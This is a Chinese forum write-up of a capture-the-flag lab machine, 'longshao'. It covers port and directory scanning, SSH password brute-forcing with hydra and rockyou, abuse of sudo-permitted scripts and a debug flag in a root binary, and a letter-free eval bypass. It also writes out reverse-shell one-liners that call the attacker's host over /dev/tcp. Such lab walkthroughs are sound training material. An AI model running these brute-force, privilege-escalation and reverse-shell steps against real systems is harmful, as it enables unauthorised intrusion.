靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:longshao
系统 :Linux
作者 :超级黑暗无敌龙
难度 :Easy
依旧新鲜靶机,文章其实早就写好了,但是由于还在群内的做题时间,所以现在才发出来,欢迎大家学习和指导
不多说,直接开始。
信息收集
靶机ip:192.168.56.108
端口扫描
┌──(kali㉿JYlover)-[~]
└─$ nmap -p- 192.168.56.108

开放
22、80端口,这次就很明显是从web入手了。
一个登录页面。
测了一下没有类似sql注入的问题。
那就扫一下目录。常规信息收集:
$ dirsearch -u 192.168.56.108

多出来一个
/dashboard.php( /cgi-bin/printenv和/cgi-bin/test-cgi这两个应该是apache自带的一些配置文件,没有什么用)我们去访问dashboard:

直接给了ssh凭证,web端是白给的,所以我说侧重是在shell提权上。
baolong:jinhua
横向移动
$ ssh [email protected]
# 输入:jinghua
登录到baolong用户。
然后我们信息收集一波。
baolong@longshao:~$ sudo -l
# Sorry, user baolong may not run sudo on longshao.
baolong@longshao:~$ wget 192.168.56.1:9999/pspy64
baolong@longshao:~$ chmod +x pspy64
baolong@longshao:~$ ./pspy64
没有啥大收获。
这里又传了linpeas.sh(工具箱中的)上去扫了一遍。
这是一个bash脚本,用于在 Linux 系统上自动进行信息收集和提权路径枚举。
baolong@longshao:~$ wget 192.168.56.1:9999/linpeas.sh
Connecting to 192.168.56.1:9999 (192.168.56.1:9999)
saving to 'linpeas.sh'
linpeas.sh 100% |******************************************************************| 1032k 0:00:00 ETA
'linpeas.sh' saved
baolong@longshao:~$ chmod +x linpeas.sh
baolong@longshao:~$ ./linpeas.sh
-bash: ./linpeas.sh: /bin/sh^M: bad interpreter: No such file or directory
baolong@longshao:~$ sed -i 's/\r$//' linpeas.sh
baolong@longshao:~$ ./linpeas.sh
注意这里如果是从windows上传过去可能会有这个换行符冲突的问题,我们可以用sed命令替换一下。
然后他就会开始自动扫。
也并没有扫到什么很有用的东西,但是也顺带有点收获:

可以看到有3个普通用户:
baolongchaojibaolongchaojiwudilong
可能是打横移链。(这名字起的,暴龙的进化之旅(~ ̄▽ ̄)~)

又注意到/opt目录下有一个internal目录。(opt目录放第三方下载的东西,所以很多作者会把口子放在这里)
既然没啥东西了,那我们肯定就去看看这个internal目录吧
baolong@longshao:~$ ls /opt/internal -la

看到有一个
parser_core的二进制文件,root所有,属于chaojibaolong组,且组用户可执行。很明显是引导我们横移到
chaojibaolong用户了。我们想把文件拉下来分析一下,
但是也需要有chaojibaolong用户,其中我们也没发现其他横移的路子。
没办法的时候就想想最笨的办法,直接去爆破一下ssh密码呢?
┌──(kali㉿JYlover)-[~]
└─$ hydra -l chaojibaolong -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.108 -t 4 -e nsr

还真给扫到了。
chaojibaolong/love123可以拷贝下来了:
$ scp [email protected]:/opt/internal/parser_core ~/tmp/
这是在我们攻击机上执行的远程拷贝命令
然后用ida打开看看。
直接f5反汇编

好像大概就是有一个
--debug参数,…然后就可以执行su chaojiwudilong啦≡(▔﹏▔)≡。好吧看不懂。交给ai:
- 必须root执行
- 必须是 1 或 2 个参数(
argc - 2 <= 1)。- 1 个参数:正常模式
- 2 个参数:若第二个参数为
--debug,开启调试标志(这里argc[0]是程序本身,所以{a2[2], "--debug"}不是检查第三个参数而是第二个)
- 文件名必须
.log结尾,文件必须在/tmp/下 - log文件存在的话就只是打印成功,不存在的时候且开启了调式模式,就会执行
su chaojiwudilong
那么很清晰,我们的目标是:
以root身份执行这个程序–>启动调试模式–>指定一个不存在的log文件
也就是
$ /opt/internal/parser_core /tmp/1.log --debug
如果root执行了这个命令,就可以切换身份了
但是我们怎么去root执行呢?可能到这里就没什么思路了。
那就登录。在信息收集一下sudo权限有没有。
baolong@longshao:~$ su chaojibaolong
# 输入:love123
chaojibaolong@longshao:/home/baolong$ sudo -l

直接发现拥有 无需密码执行
/usr/local/bin/check_parser的权限。这是个什么东西呢,我们去看看。
chaojibaolong@longshao:/home/baolong$ vi /usr/local/bin/check_parser

是一个bash脚本大概是:
- 检查uid是否为0,也就是检查是不是root执行。不是root直接退出
- 检查第一个参数,如果第一个参数为空且第一个参数对应的路径不是普通文件,则退出。这里用的并运算(-a),所以如果有参数的话,就一定不会退出
- 执行
parser_core,并且把参数传递给它
又清晰了,上面我们分析过,只需要执行parser_core并带有--debug参数就可以到chaojiwudilong
$ /opt/internal/parser_core /tmp/1.log --debug
我们不能root执行parser但是可以root执行check_parser呀,而check_parser又执行了parser。这样就间接执行了,而且参数原样传递,我们可以像直接调用parser一样,就是改一下名字。
我们执行:
$ sudo /usr/local/bin/check_parser /tmp/1.log --debug

横向完成。
提权
拿到最后一个普通用户,再看看sudo权限:
$ sudo -l

可以无密码执行
/usr/local/bin/a.sh去看看这个脚本。
chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh

终于能看懂了:
- 先把PATH直接改成
/usr/bin(这样所有命令会去/usr/bin下面找) - cd到
/tmp目录 <( ... )表示把命令执行的结果当一个临时文件,然后把临时文件的值赋值给$CMDhead -n1 | tr -d "[A-Za-z0-9/]"表示取出第一行,删掉其中的数字字母和- 最后执行
$CMD
也就是这个脚本的参数,不能有数字字母和/,然后这个参数会被执行。
这里就是一个无数字字母命令执行。
虽然没有数字没有字母,但是还有!、?、_这些特殊符号呀。
这里首先我们要知道一个知识点,那就是. <文件名>(注意有空格)是可以执行shell脚本的(.是source命令的简写,用于在当前 shell 进程中执行脚本),例如:

这里看得很清楚,
source <文件名>可以成功执行a文件中的shell命令,. <文件名>也可以
所以我们流程就是:
创建名为_的文件,内容是shell命令—>sudo执行a.sh,—>传入. _
然后就打成任意命令执行了。
1.

2.
关于最后提权的小复盘
我们要注意到脚本中:
PATH=/usr/bin
cd /tmp
read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"
有一句改PATH的命令,所以有些命令我们最好用绝对路径,不然会默认去/usr/bin里面找
例如我们的反弹shell。
bash -c 'exec bash -i &>/dev/tcp/192.168.56.1/8888 <&1'
# 就要改成
/bin/bash -c 'exec /bin/bash -i &>/dev/tcp/192.168.56.1/8888 <&1'
不然就会报错

因为
/usr/bin下面没有bash,他是在/bin/bash这里还发现:
echo "/bin/bash -i >& /dev/tcp/192.168.56.1/8888 0>&1">_
# 这个不行
会报错

这里不知道是为什么,可能是执行是的环境是
sh?这里实在搞不懂了
还有一点就是如果不用_,用?或者!也是可以的,但是由于他们在shell中有特殊含义,所以要注意利用“”。
知识点总结
本次靶机遇到的知识点:
- 遇到二进制文件可以拉下来反编译审计
- source <文件名>是把文件名执行。可以写成
. 文件名,绕过限制
这次靶机遇到的固定知识点比较少,大部分是根据实际情况来的分析,代码审计。大家可以自行复现
2 个帖子 - 2 位参与者